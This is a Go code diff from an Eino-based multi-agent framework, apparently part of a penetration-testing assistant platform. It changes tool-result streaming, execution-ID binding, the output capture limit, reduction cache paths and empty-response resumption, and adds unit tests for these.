// execute 流式包装可能已把超时句写入 content(供 ADK tool 与流式 delta);勿重复拼接
|
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
|
||||||
if tail != "" && strings.Contains(content, tail) {
|
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
|
||||||
body = content
|
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
|
||||||
} else if strings.TrimSpace(content) != "" {
|
|
||||||
body = strings.TrimRight(content, "\n") + "\n\n" + tail
|
|
||||||
} else {
|
|
||||||
body = tail
|
|
||||||
}
|
|
||||||
isErr = true
|
|
||||||
}
|
}
|
||||||
recordPendingExecuteStdoutDup(toolName, body, isErr)
|
}
|
||||||
preview := body
|
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
|
||||||
if len(preview) > 200 {
|
}
|
||||||
preview = preview[:200] + "..."
|
if args.ToolInvokeNotify != nil {
|
||||||
}
|
args.ToolInvokeNotify.Set(func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error) {
|
||||||
agentTag := strings.TrimSpace(einoAgent)
|
removePendingByID(strings.TrimSpace(toolCallID))
|
||||||
if agentTag == "" {
|
// tool_result 仅由下方 ADK schema.Tool 事件推送,正文与送入模型的上下文一致(含 reduction 截断)。
|
||||||
agentTag = orchestratorName
|
|
||||||
}
|
|
||||||
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), map[string]interface{}{
|
|
||||||
"toolName": toolName,
|
|
||||||
"success": !isErr,
|
|
||||||
"isError": isErr,
|
|
||||||
"result": body,
|
|
||||||
"resultPreview": preview,
|
|
||||||
"toolCallId": tid,
|
|
||||||
"conversationId": conversationID,
|
|
||||||
"einoAgent": agentTag,
|
|
||||||
"einoRole": einoRoleTag(agentTag),
|
|
||||||
"source": "eino",
|
|
||||||
})
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -632,6 +643,50 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
}
|
}
|
||||||
mv := ev.Output.MessageOutput
|
mv := ev.Output.MessageOutput
|
||||||
|
|
||||||
|
if mv.IsStreaming && mv.MessageStream != nil && mv.Role == schema.Tool {
|
||||||
|
toolName := strings.TrimSpace(mv.ToolName)
|
||||||
|
var toolBuf strings.Builder
|
||||||
|
streamToolCallID := ""
|
||||||
|
var toolStreamRecvErr error
|
||||||
|
for {
|
||||||
|
chunk, rerr := mv.MessageStream.Recv()
|
||||||
|
if errors.Is(rerr, io.EOF) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if rerr != nil {
|
||||||
|
toolStreamRecvErr = rerr
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if chunk == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if chunk.Content != "" {
|
||||||
|
toolBuf.WriteString(chunk.Content)
|
||||||
|
}
|
||||||
|
if tid := strings.TrimSpace(chunk.ToolCallID); tid != "" {
|
||||||
|
streamToolCallID = tid
|
||||||
|
}
|
||||||
|
}
|
||||||
|
content := toolBuf.String()
|
||||||
|
isErr := false
|
||||||
|
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
|
||||||
|
isErr = true
|
||||||
|
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
|
||||||
|
}
|
||||||
|
if streamToolCallID != "" {
|
||||||
|
opts := []schema.ToolMessageOption{schema.WithToolName(toolName)}
|
||||||
|
runAccumulatedMsgs = append(runAccumulatedMsgs, schema.ToolMessage(content, streamToolCallID, opts...))
|
||||||
|
}
|
||||||
|
tryEmitToolResultProgress(toolName, content, streamToolCallID, isErr, ev.AgentName)
|
||||||
|
if toolStreamRecvErr != nil && logger != nil {
|
||||||
|
logger.Warn("eino tool result stream recv error",
|
||||||
|
zap.Error(toolStreamRecvErr),
|
||||||
|
zap.String("agent", ev.AgentName),
|
||||||
|
zap.String("tool", toolName))
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
if mv.IsStreaming && mv.MessageStream != nil {
|
if mv.IsStreaming && mv.MessageStream != nil {
|
||||||
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
||||||
streamHeaderSent := false
|
streamHeaderSent := false
|
||||||
@@ -785,6 +840,16 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if progress != nil && reasoningStreamID != "" && strings.TrimSpace(reasoningBuf) != "" {
|
||||||
|
progress("reasoning_chain_stream_end", openai.DisplayReasoningContent(strings.TrimSpace(reasoningBuf)), map[string]interface{}{
|
||||||
|
"streamId": reasoningStreamID,
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "eino",
|
||||||
|
"einoAgent": ev.AgentName,
|
||||||
|
"einoRole": einoRoleTag(ev.AgentName),
|
||||||
|
"orchestration": orchMode,
|
||||||
|
})
|
||||||
|
}
|
||||||
if streamsMainAssistant(ev.AgentName) {
|
if streamsMainAssistant(ev.AgentName) {
|
||||||
s := strings.TrimSpace(mainAssistantBuf)
|
s := strings.TrimSpace(mainAssistantBuf)
|
||||||
if mainAssistDupTarget != "" {
|
if mainAssistDupTarget != "" {
|
||||||
@@ -963,7 +1028,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if mv.Role == schema.Tool && progress != nil {
|
if (mv.Role == schema.Tool || msg.Role == schema.Tool) && progress != nil {
|
||||||
toolName := msg.ToolName
|
toolName := msg.ToolName
|
||||||
if toolName == "" {
|
if toolName == "" {
|
||||||
toolName = mv.ToolName
|
toolName = mv.ToolName
|
||||||
@@ -976,46 +1041,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
|
content = strings.TrimPrefix(content, einomcp.ToolErrorPrefix)
|
||||||
}
|
}
|
||||||
|
|
||||||
preview := content
|
|
||||||
if len(preview) > 200 {
|
|
||||||
preview = preview[:200] + "..."
|
|
||||||
}
|
|
||||||
data := map[string]interface{}{
|
|
||||||
"toolName": toolName,
|
|
||||||
"success": !isErr,
|
|
||||||
"isError": isErr,
|
|
||||||
"result": content,
|
|
||||||
"resultPreview": preview,
|
|
||||||
"conversationId": conversationID,
|
|
||||||
"einoAgent": ev.AgentName,
|
|
||||||
"einoRole": einoRoleTag(ev.AgentName),
|
|
||||||
"source": "eino",
|
|
||||||
}
|
|
||||||
toolCallID := strings.TrimSpace(msg.ToolCallID)
|
toolCallID := strings.TrimSpace(msg.ToolCallID)
|
||||||
if toolCallID == "" {
|
tryEmitToolResultProgress(toolName, content, toolCallID, isErr, ev.AgentName)
|
||||||
if inferred, ok := popNextPendingForAgent(ev.AgentName); ok {
|
|
||||||
toolCallID = inferred.ToolCallID
|
|
||||||
} else if inferred, ok := popNextPendingForAgent(orchestratorName); ok {
|
|
||||||
toolCallID = inferred.ToolCallID
|
|
||||||
} else if inferred, ok := popNextPendingForAgent(""); ok {
|
|
||||||
toolCallID = inferred.ToolCallID
|
|
||||||
} else if inferred, ok := popAnyPending(); ok {
|
|
||||||
toolCallID = inferred.ToolCallID
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if toolCallID != "" {
|
|
||||||
removePendingByID(toolCallID)
|
|
||||||
if _, loaded := toolResultSent.LoadOrStore(toolCallID, struct{}{}); loaded {
|
|
||||||
// ToolInvokeNotify 可能已推过 tool_result(如 execute 流式包装里 Fire 仅携带截断后的 stdout),
|
|
||||||
// 此处仍应用 ADK Tool 消息中的完整内容刷新去重基准,避免模型复述全文时与截断串比对失败而重复展示「助手输出」。
|
|
||||||
recordPendingExecuteStdoutDup(toolName, content, isErr)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
data["toolCallId"] = toolCallID
|
|
||||||
}
|
|
||||||
recordPendingExecuteStdoutDup(toolName, content, isErr)
|
|
||||||
recordEinoADKFilesystemToolMonitor(args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
|
|
||||||
progress("tool_result", fmt.Sprintf("工具结果 (%s)", toolName), data)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1027,9 +1054,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
|
||||||
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
|
||||||
)
|
)
|
||||||
|
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("eino empty response, ending run segment for handler resume",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.String("orchestration", orchMode),
|
||||||
|
zap.Int("traceMessages", len(runAccumulatedMsgs)))
|
||||||
|
}
|
||||||
|
if progress != nil {
|
||||||
|
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "eino",
|
||||||
|
"resumeKind": "trace_segment",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out, ErrEmptyResponseContinue
|
||||||
|
}
|
||||||
return out, nil
|
return out, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
|
||||||
|
if out == nil || accumulatedLen <= baseCount {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
|
||||||
|
}
|
||||||
|
|
||||||
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
|
||||||
if args != nil && args.ModelFacingTrace != nil {
|
if args != nil && args.ModelFacingTrace != nil {
|
||||||
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package multiagent
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
hint := "(empty hint)"
|
||||||
|
out := &RunResult{Response: hint}
|
||||||
|
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
|
||||||
|
t.Fatal("expected continue when response is empty hint and trace grew")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
|
||||||
|
t.Fatal("expected no continue when trace did not grow")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
|
||||||
|
t.Fatal("expected no continue when response has content")
|
||||||
|
}
|
||||||
|
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
|
||||||
|
t.Fatal("expected no continue for nil result")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,8 +9,8 @@ import (
|
|||||||
|
|
||||||
// newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId),
|
// newEinoExecuteMonitorCallback 在 Eino filesystem execute 结束时写入 MCP 监控库并 recorder(executionId),
|
||||||
// 与 CallTool 路径一致,供助手消息展示「渗透测试详情」芯片。
|
// 与 CallTool 路径一致,供助手消息展示「渗透测试详情」芯片。
|
||||||
func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(command, stdout string, success bool, invokeErr error) {
|
func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRecorder) func(toolCallID, command, stdout string, success bool, invokeErr error) {
|
||||||
return func(command, stdout string, success bool, invokeErr error) {
|
return func(toolCallID, command, stdout string, success bool, invokeErr error) {
|
||||||
if ag == nil || recorder == nil {
|
if ag == nil || recorder == nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -25,7 +25,7 @@ func newEinoExecuteMonitorCallback(ag *agent.Agent, recorder einomcp.ExecutionRe
|
|||||||
args := map[string]interface{}{"command": command}
|
args := map[string]interface{}{"command": command}
|
||||||
id := ag.RecordLocalToolExecution("execute", args, stdout, err)
|
id := ag.RecordLocalToolExecution("execute", args, stdout, err)
|
||||||
if id != "" {
|
if id != "" {
|
||||||
recorder(id)
|
recorder(id, toolCallID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -53,7 +53,7 @@ type einoStreamingShellWrap struct {
|
|||||||
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
|
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
|
||||||
toolTimeoutMinutes int
|
toolTimeoutMinutes int
|
||||||
// recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId),使「渗透测试详情」与常规 MCP 一致。
|
// recordMonitor 在 execute 流结束后写入 tool_executions 并 recorder(executionId),使「渗透测试详情」与常规 MCP 一致。
|
||||||
recordMonitor func(command, stdout string, success bool, invokeErr error)
|
recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
||||||
@@ -84,7 +84,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
execCancel()
|
execCancel()
|
||||||
}
|
}
|
||||||
if w.recordMonitor != nil {
|
if w.recordMonitor != nil {
|
||||||
w.recordMonitor(userCmd, "", false, err)
|
w.recordMonitor(tid, userCmd, "", false, err)
|
||||||
}
|
}
|
||||||
if w.invokeNotify != nil && tid != "" {
|
if w.invokeNotify != nil && tid != "" {
|
||||||
w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err)
|
w.invokeNotify.Fire(tid, "execute", agentTag, false, "", err)
|
||||||
@@ -107,7 +107,6 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
}
|
}
|
||||||
|
|
||||||
var sb strings.Builder
|
var sb strings.Builder
|
||||||
const maxCapture = 16 * 1024
|
|
||||||
success := true
|
success := true
|
||||||
var invokeErr error
|
var invokeErr error
|
||||||
exitCode := 0
|
exitCode := 0
|
||||||
@@ -130,15 +129,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
exitCode = *resp.ExitCode
|
exitCode = *resp.ExitCode
|
||||||
}
|
}
|
||||||
var appended string
|
var appended string
|
||||||
if remain := maxCapture - sb.Len(); remain > 0 {
|
if resp.Output != "" {
|
||||||
out := resp.Output
|
sb.WriteString(resp.Output)
|
||||||
if len(out) > remain {
|
appended = resp.Output
|
||||||
out = out[:remain]
|
|
||||||
}
|
|
||||||
sb.WriteString(out)
|
|
||||||
appended = out
|
|
||||||
}
|
}
|
||||||
// 仅推送写入 sb 的片段,与末尾 Fire/recordMonitor 的截断累计一致,避免最终 tool_result 短于已展示增量。
|
|
||||||
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
|
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
|
||||||
w.outputChunk("execute", tid, appended)
|
w.outputChunk("execute", tid, appended)
|
||||||
}
|
}
|
||||||
@@ -167,16 +161,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
if w.outputChunk != nil && tid != "" {
|
if w.outputChunk != nil && tid != "" {
|
||||||
w.outputChunk("execute", tid, hint)
|
w.outputChunk("execute", tid, hint)
|
||||||
}
|
}
|
||||||
if remain := maxCapture - sb.Len(); remain > 0 {
|
sb.WriteString(hint)
|
||||||
h := hint
|
|
||||||
if len(h) > remain {
|
|
||||||
h = h[:remain]
|
|
||||||
}
|
|
||||||
sb.WriteString(h)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if w.recordMonitor != nil {
|
if w.recordMonitor != nil {
|
||||||
w.recordMonitor(command, sb.String(), success, invokeErr)
|
w.recordMonitor(tid, command, sb.String(), success, invokeErr)
|
||||||
}
|
}
|
||||||
w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr)
|
w.invokeNotify.Fire(tid, "execute", agentTag, success, sb.String(), invokeErr)
|
||||||
outW.Close()
|
outW.Close()
|
||||||
|
|||||||
@@ -96,6 +96,6 @@ func recordEinoADKFilesystemToolMonitor(
|
|||||||
}
|
}
|
||||||
id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr)
|
id := ag.RecordLocalToolExecution(storedName, args, resultText, invErr)
|
||||||
if id != "" {
|
if id != "" {
|
||||||
rec(id)
|
rec(id, toolCallID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
|
|||||||
}
|
}
|
||||||
|
|
||||||
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||||
nameSet := make(map[string]struct{}, len(names))
|
nameSet := expandAlwaysVisibleNameSet(names)
|
||||||
for _, n := range names {
|
|
||||||
n = strings.TrimSpace(strings.ToLower(n))
|
|
||||||
if n == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
nameSet[n] = struct{}{}
|
|
||||||
}
|
|
||||||
if len(nameSet) == 0 {
|
if len(nameSet) == 0 {
|
||||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||||
}
|
}
|
||||||
@@ -71,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
|
|||||||
info, err := t.Info(context.Background())
|
info, err := t.Info(context.Background())
|
||||||
name := ""
|
name := ""
|
||||||
if err == nil && info != nil {
|
if err == nil && info != nil {
|
||||||
name = strings.TrimSpace(strings.ToLower(info.Name))
|
name = info.Name
|
||||||
}
|
}
|
||||||
if _, keep := nameSet[name]; keep {
|
if toolMatchesAlwaysVisible(name, nameSet) {
|
||||||
static = append(static, t)
|
static = append(static, t)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -110,14 +103,26 @@ func mergeAlwaysVisibleToolNames(configured []string) []string {
|
|||||||
return merged
|
return merged
|
||||||
}
|
}
|
||||||
|
|
||||||
func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
|
func reductionCacheRootDir(configuredBase, projectID, conversationID string) string {
|
||||||
|
base := strings.TrimSpace(configuredBase)
|
||||||
|
if base == "" {
|
||||||
|
base = filepath.Join("tmp", "reduction")
|
||||||
|
}
|
||||||
|
if pid := strings.TrimSpace(projectID); pid != "" {
|
||||||
|
return filepath.Join(base, "projects", sanitizeEinoPathSegment(pid))
|
||||||
|
}
|
||||||
|
conv := strings.TrimSpace(conversationID)
|
||||||
|
if conv == "" {
|
||||||
|
conv = "default"
|
||||||
|
}
|
||||||
|
return filepath.Join(base, "conversations", sanitizeEinoPathSegment(conv))
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, projectID, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
|
||||||
if loc == nil {
|
if loc == nil {
|
||||||
return nil, fmt.Errorf("reduction: local backend nil")
|
return nil, fmt.Errorf("reduction: local backend nil")
|
||||||
}
|
}
|
||||||
root := strings.TrimSpace(mw.ReductionRootDir)
|
root := reductionCacheRootDir(mw.ReductionRootDir, projectID, convID)
|
||||||
if root == "" {
|
|
||||||
root = filepath.Join(os.TempDir(), "cyberstrike-reduction", sanitizeEinoPathSegment(convID))
|
|
||||||
}
|
|
||||||
if err := os.MkdirAll(root, 0o755); err != nil {
|
if err := os.MkdirAll(root, 0o755); err != nil {
|
||||||
return nil, fmt.Errorf("reduction root: %w", err)
|
return nil, fmt.Errorf("reduction root: %w", err)
|
||||||
}
|
}
|
||||||
@@ -155,6 +160,7 @@ func prependEinoMiddlewares(
|
|||||||
einoLoc *localbk.Local,
|
einoLoc *localbk.Local,
|
||||||
skillsRoot string,
|
skillsRoot string,
|
||||||
conversationID string,
|
conversationID string,
|
||||||
|
projectID string,
|
||||||
logger *zap.Logger,
|
logger *zap.Logger,
|
||||||
) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) {
|
) (outTools []tool.BaseTool, extraHandlers []adk.ChatModelAgentMiddleware, toolSearchActive bool, err error) {
|
||||||
if mw == nil {
|
if mw == nil {
|
||||||
@@ -174,7 +180,7 @@ func prependEinoMiddlewares(
|
|||||||
if place == einoMWSub && !mw.ReductionSubAgents {
|
if place == einoMWSub && !mw.ReductionSubAgents {
|
||||||
// skip
|
// skip
|
||||||
} else {
|
} else {
|
||||||
redMW, rerr := buildReductionMiddleware(ctx, *mw, conversationID, einoLoc, logger)
|
redMW, rerr := buildReductionMiddleware(ctx, *mw, projectID, conversationID, einoLoc, logger)
|
||||||
if rerr != nil {
|
if rerr != nil {
|
||||||
return nil, nil, false, rerr
|
return nil, nil, false, rerr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,12 +3,31 @@ package multiagent
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"github.com/cloudwego/eino/components/tool"
|
"github.com/cloudwego/eino/components/tool"
|
||||||
"github.com/cloudwego/eino/schema"
|
"github.com/cloudwego/eino/schema"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func TestReductionCacheRootDir(t *testing.T) {
|
||||||
|
got := reductionCacheRootDir("", "proj-1", "conv-1")
|
||||||
|
want := filepath.Join("tmp", "reduction", "projects", "proj-1")
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("project scope: got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
got = reductionCacheRootDir("", "", "conv-abc")
|
||||||
|
want = filepath.Join("tmp", "reduction", "conversations", "conv-abc")
|
||||||
|
if got != want {
|
||||||
|
t.Fatalf("conversation scope: got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
custom := reductionCacheRootDir("/data/cache", "p1", "c1")
|
||||||
|
if !strings.HasSuffix(custom, filepath.Join("projects", "p1")) {
|
||||||
|
t.Fatalf("custom base should still scope by project, got %q", custom)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
type stubTool struct{ name string }
|
type stubTool struct{ name string }
|
||||||
|
|
||||||
func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) {
|
func (s stubTool) Info(_ context.Context) (*schema.ToolInfo, error) {
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
ag *agent.Agent,
|
ag *agent.Agent,
|
||||||
logger *zap.Logger,
|
logger *zap.Logger,
|
||||||
conversationID string,
|
conversationID string,
|
||||||
|
projectID string,
|
||||||
userMessage string,
|
userMessage string,
|
||||||
history []agent.ChatMessage,
|
history []agent.ChatMessage,
|
||||||
roleTools []string,
|
roleTools []string,
|
||||||
@@ -58,10 +59,12 @@ func RunEinoSingleChatModelAgent(
|
|||||||
|
|
||||||
var mcpIDsMu sync.Mutex
|
var mcpIDsMu sync.Mutex
|
||||||
var mcpIDs []string
|
var mcpIDs []string
|
||||||
recorder := func(id string) {
|
mcpExecBinder := NewMCPExecutionBinder()
|
||||||
|
recorder := func(id, toolCallID string) {
|
||||||
if id == "" {
|
if id == "" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
mcpExecBinder.Bind(toolCallID, id)
|
||||||
mcpIDsMu.Lock()
|
mcpIDsMu.Lock()
|
||||||
mcpIDs = append(mcpIDs, id)
|
mcpIDs = append(mcpIDs, id)
|
||||||
mcpIDsMu.Unlock()
|
mcpIDsMu.Unlock()
|
||||||
@@ -75,29 +78,15 @@ func RunEinoSingleChatModelAgent(
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
toolOutputChunk := func(toolName, toolCallID, chunk string) {
|
|
||||||
if progress == nil || toolCallID == "" {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
progress("tool_result_delta", chunk, map[string]interface{}{
|
|
||||||
"toolName": toolName,
|
|
||||||
"toolCallId": toolCallID,
|
|
||||||
"index": 0,
|
|
||||||
"total": 0,
|
|
||||||
"iteration": 0,
|
|
||||||
"source": "eino",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
||||||
einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder)
|
einoExecMonitor := newEinoExecuteMonitorCallback(ag, recorder)
|
||||||
mainDefs := ag.ToolsForRole(roleTools)
|
mainDefs := ag.ToolsForRole(roleTools)
|
||||||
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, einoSingleAgentName)
|
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
|
mainToolsForCfg, mainOrchestratorPre, singleToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("eino single eino 中间件: %w", err)
|
return nil, fmt.Errorf("eino single eino 中间件: %w", err)
|
||||||
}
|
}
|
||||||
@@ -145,7 +134,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
}
|
}
|
||||||
if einoSkillMW != nil {
|
if einoSkillMW != nil {
|
||||||
if einoFSTools && einoLoc != nil {
|
if einoFSTools && einoLoc != nil {
|
||||||
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
|
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
|
||||||
if fsErr != nil {
|
if fsErr != nil {
|
||||||
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
|
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
|
||||||
}
|
}
|
||||||
@@ -237,6 +226,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
McpIDs: &mcpIDs,
|
McpIDs: &mcpIDs,
|
||||||
FilesystemMonitorAgent: ag,
|
FilesystemMonitorAgent: ag,
|
||||||
FilesystemMonitorRecord: recorder,
|
FilesystemMonitorRecord: recorder,
|
||||||
|
MCPExecutionBinder: mcpExecBinder,
|
||||||
ToolInvokeNotify: toolInvokeNotify,
|
ToolInvokeNotify: toolInvokeNotify,
|
||||||
DA: chatAgent,
|
DA: chatAgent,
|
||||||
ModelFacingTrace: modelFacingTrace,
|
ModelFacingTrace: modelFacingTrace,
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ func subAgentFilesystemMiddleware(
|
|||||||
loc *localbk.Local,
|
loc *localbk.Local,
|
||||||
invokeNotify *einomcp.ToolInvokeNotifyHolder,
|
invokeNotify *einomcp.ToolInvokeNotifyHolder,
|
||||||
einoAgentName string,
|
einoAgentName string,
|
||||||
recordMonitor func(command, stdout string, success bool, invokeErr error),
|
recordMonitor func(toolCallID, command, stdout string, success bool, invokeErr error),
|
||||||
toolTimeoutMinutes int,
|
toolTimeoutMinutes int,
|
||||||
outputChunk func(toolName, toolCallID, chunk string),
|
